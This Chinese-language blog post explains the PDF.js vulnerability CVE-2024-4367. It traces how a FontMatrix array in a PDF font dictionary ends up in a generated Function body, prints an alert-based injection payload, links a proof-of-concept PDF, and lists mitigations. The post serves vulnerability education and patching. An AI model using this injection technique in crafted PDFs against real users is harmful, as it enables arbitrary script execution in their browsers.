大家好,我是 ConardLi。
最近 Codean Labs
对外披露了 PDF.js 的一个任意代码执行漏洞(CVE-2024-4367)。
由于 PDF.js
使用非常广泛,且漏洞利用简单,危害很大,漏洞评级非常高。
PDF.js
是一个基于 JavaScript
的 PDF
查看器,由 Mozilla
维护。此漏洞允许攻击者在打开恶意 PDF
文件时立即执行任意 JavaScript
代码。
今天我们一起来学习下这个漏洞具体的咋回事。
PDF.js
有两个常见的使用场景。首先,它是火狐浏览器的内置 PDF
阅读器。如果你使用火狐浏览器,并且曾经下载或者浏览过 PDF
文件,你就会看到它在起作用。其次,它被打包成一个名为 pdfjs-dist
的 Node
模块,根据 NPM
的数据,每周有大约 270
万次的下载量。以这种形式,网站可以用它来提供嵌入式 PDF
预览功能。从代码托管平台到笔记应用程序,各种各样的应用都在使用它。
PDF
的格式出了名的复杂。它支持各种媒体类型、复杂的字体渲染,甚至还有基本的脚本,所以 PDF
阅读器是漏洞研究人员常见的研究目标。由于有大量的解析逻辑,肯定会有一些错误,PDF.js
也不例外。不过它的独特之处在于它是用 JavaScript
编写的,而不是 C
或 C++
。这意味着不会有内存损坏的问题,但正如我们将看到的,它也有自己的一系列风险。
PDF
中的字体可以有几种不同的格式,其中一些对我们来说比其他的更晦涩。对于像 TrueType
这样的现代格式,PDF.js
大多依赖于浏览器自身的字体渲染器。在其他情况下,它必须手动将字形(即字符)描述转换为页面上的曲线。为了优化性能,会为每个字形预编译一个路径生成函数。如果支持的话,这是通过创建一个 JavaScript Function
对象来实现的,该对象的主体(jsBuf
)包含构成路径的指令:
// 如果可以,将 cmds 编译为 JavaScript 以实现最大速度...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
// 创建一个空数组 jsBuf 用于存储要生成的 JavaScript 代码片段
const jsBuf = [];
// 遍历 cmds 数组中的每个元素
for (const current of cmds) {
// 如果当前元素有 args 属性且不为 undefined,将其转换为字符串并以逗号连接
const args = current.args!== undefined? current.args.join(",") : "";
// 将特定格式的代码片段添加到 jsBuf 数组中
jsBuf.push("c.", current.cmd, "(", args, ");\n");
}
// 打印 jsBuf 数组元素连接后的字符串
console.log(jsBuf.join(""));
// 返回一个新的 Function 对象,该对象接受 "c" 和 "size" 作为参数,并执行 jsBuf 中连接的代码
return (this.compiledGlyphs[character] = new Function(
"c",
"size",
jsBuf.join("")
));
}
从攻击者的角度来看,这非常有趣:如果我们能够以某种方式控制进入 Function
对象主体的这些 cmds
并插入我们自己的代码,那么一旦渲染这样的字形,它就会被执行。
好吧,让我们看看这个命令列表是如何生成的。回溯到 CompiledFont
类的逻辑,我们找到了 compileGlyph(...)
方法。这个方法用几个通用命令(保存、变换、缩放和恢复)初始化了 cmd
s 数组,并委托给 compileGlyphImpl(...)
方法来填充实际的渲染命令:
// 定义 compileGlyph 方法,接受 code 和 glyphId 作为参数
compileGlyph(code, glyphId) {
// 如果 code 为空、长度为 0 或者 code 的第一个元素为 14,返回 NOOP
if (!code || code.length === 0 || code[0] === 14) {
return NOOP;
}
// 定义 fontMatrix 并初始化为当前对象的 fontMatrix 属性
let fontMatrix = this.fontMatrix;
//...
// 定义一个包含命令对象的 cmds 数组
const cmds = [
{ cmd: "save" }, // 保存命令
{ cmd: "transform", args: fontMatrix.slice() }, // 变换命令,参数为 fontMatrix 的切片副本
{ cmd: "scale", args: ["size", "-size"] }, // 缩放命令,参数为 "size" 和 "-size"
];
// 调用 compileGlyphImpl 方法,并传入 code、cmds 和 glyphId
this.compileGlyphImpl(code, cmds, glyphId);
// 向 cmds 数组添加一个恢复命令
cmds.push({ cmd: "restore" });
// 返回 cmds 数组
return cmds;
}
如果我们对 PDF.js
代码进行检测以记录生成的 Function
对象,我们会发现生成的代码确实包含那些命令:
c.save();
c.transform(0.001,0,0,0.001,0,0);
c.scale(size,-size);
c.moveTo(0,0);
c.restore();
在这一点上,我们可以审查字体解析代码以及由字形生成的各种命令和参数,比如 quadraticCurveTo
和 bezierCurveTo
,但所有这些看起来都相当正常,除了数字之外无法控制任何东西。然而,结果证明更有趣的是我们上面看到的变换命令:
{ cmd: "transform", args: fontMatrix.slice() },
这个 fontMatrix
数组会被复制(通过 .slice()
方法)并插入到 Function
对象的主体中,用逗号连接。代码显然假定它是一个数字数组,但情况总是这样吗?这个数组中的任何字符串都会被直接插入,周围没有任何引号。因此,这在最好的情况下会破坏 JavaScript
语法,在最坏的情况下会导致任意代码执行。但是我们真的能在那种程度上控制 fontMatrix
的内容吗?
fontMatrix
的值默认是 [0.001, 0, 0, 0.001, 0, 0]
,但通常字体自身会将其设置为一个自定义矩阵,即在它自身的嵌入式元数据中。具体如何做到这一点,每种字体格式都有所不同。这里以 Type1
解析器为例:
/**
* 提取字体头部信息的函数
* @param {Object} properties - 包含相关属性的对象
*/
extractFontHeader(properties) {
// 定义一个变量用于存储获取的令牌
let token;
// 当获取的令牌不为空时,进行循环
while ((token = this.getToken())!== null) {
// 如果令牌不是'/',则继续下一次循环
if (token!== "/") {
continue;
}
// 再次获取令牌
token = this.getToken();
// 根据令牌的值进行不同的处理
switch (token) {
// 如果令牌是'FontMatrix'
case "FontMatrix":
// 读取数字数组并将其赋值给变量matrix
const matrix = this.readNumberArray();
// 将matrix赋值给properties对象的fontMatrix属性
properties.fontMatrix = matrix;
break;
// 省略其他情况的处理
...
}
// 省略其他处理
...
}
// 省略其他处理
...
}
尽管从技术上讲,Type1
字体在其头部包含任意的 Postscript
代码,但没有一个正常的 PDF
阅读器能完全支持这一点,大多数只是尝试读取具有预期类型的预定义键值对。在这种情况下,当 PDF.js
遇到 FontMatrix
键时,它只是读取一个数字数组。似乎用于其他几种字体格式的 CFF
解析器在这方面也是类似的。总的来说,看起来我们确实被限制在数字上。
然而,事实证明,这个矩阵有不止一个潜在的来源。我们也可以在字体之外指定一个自定义的 FontMatrix
值,即在 PDF
的元数据对象中!仔细查看 PartialEvaluator.translateFont(...)
方法,我们看到它从与字体相关的 PDF
字典中加载各种属性,其中之一就是 fontMatrix
:
const properties = {
type,
name: fontName.name,
subtype,
file: fontFile,
...
fontMatrix: dict.getArray("FontMatrix") || FONT_IDENTITY_MATRIX,
...
bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"),
ascent: descriptor.get("Ascent"),
descent: descriptor.get("Descent"),
xHeight: descriptor.get("XHeight") || 0,
capHeight: descriptor.get("CapHeight") || 0,
flags: descriptor.get("Flags"),
italicAngle: descriptor.get("ItalicAngle") || 0,
...
};
在 PDF
格式中,字体定义由几个对象组成。字体、它的字体描述符以及实际的字体文件。例如,这里由对象 1、2 和 3 表示:
1 0 obj
<<
/Type /Font
/Subtype /Type1
/FontDescriptor 2 0 R
/BaseFont /FooBarFont
>>
endobj
2 0 obj
<<
/Type /FontDescriptor
/FontName /FooBarFont
/FontFile 3 0 R
/ItalicAngle 0
/Flags 4
>>
endobj
3 0 obj
<<
/Length 100
>>
... (actual binary font data) ...
endobj
上面代码所引用的字典指的是字体对象。因此,我们应该能够像这样定义一个自定义的 FontMatrix
数组:
1 0 obj
<<
/Type /Font
/Subtype /Type1
/FontDescriptor 2 0 R
/BaseFont /FooBarFont
/FontMatrix [1 2 3 4 5 6] % <-----
>>
endobj
当尝试这样做时,起初看起来这不起作用,因为生成的 Function
主体中的变换操作仍然使用默认矩阵。然而,这是因为字体文件本身正在覆盖该值。幸运的是,当使用没有内部 FontMatrix
定义的 Type1
字体时,PDF
中指定的值会优先考虑,因为 fontMatrix
值不会被覆盖。
既然我们可以从 PDF
对象控制这个数组,我们就拥有了想要的所有灵活性,因为 PDF
支持的不仅仅是数字类型的基本元素。让我们尝试插入一个字符串类型的值而不是数字(在 PDF
中,字符串由括号分隔):
/FontMatrix [1 2 3 4 5 (foobar)]
成功了!它被简单地插入到 Function
体中!
c.save();
c.transform(1,2,3,4,5,foobar);
c.scale(size,-size);
c.moveTo(0,0);
c.restore();
插入任意的 JavaScript
代码现在只是正确处理语法的问题。下面是一个经典的示例,通过首先结束 c.transform(...)
函数,并利用后面的括号来触发一个 alert:
/FontMatrix [1 2 3 4 5 (0\); alert\('foobar')]
结果完全符合预期:
这里有个例子,你可以在含有漏洞的 pdf.js
版本中进行验证:
https://codeanlabs.com/wp-content/uploads/2024/05/poc_generalized_CVE-2024-4367.pdf
针对此漏洞的最佳缓解措施是将 PDF.js
更新到 4.2.67
或更高版本。大多数包装库,如 react-pdf
,也已发布了补丁版本。由于一些更高级别的与 PDF
相关的库会静态嵌入 PDF.js
,建议递归检查你的 node_modules
文件夹中名为 pdf.js
的文件。
此外,一个简单的解决方法是将 PDF.js
的 isEvalSupported
设置为 false
。这可以禁用易受攻击的代码路径。如果你的网站有严格的内容安全策略(禁用 eval
和 Function
构造函数的使用),则此漏洞也无法被利用。
自 PDF.js
的首次发布以来,就一直存在这条易受攻击的代码路径,但由于一个拼写错误,在 2016
年和 2017
年发布的几个版本中无法利用。需要注意的是,2017
年及之前标记为未受影响的版本仍然容易受到另一个漏洞(CVE-2018-5158
)的影响,这意味着它们不安全使用。
大家尽快检查依赖版本进行修复!
对此,你怎么看?欢迎在评论区留言~
参考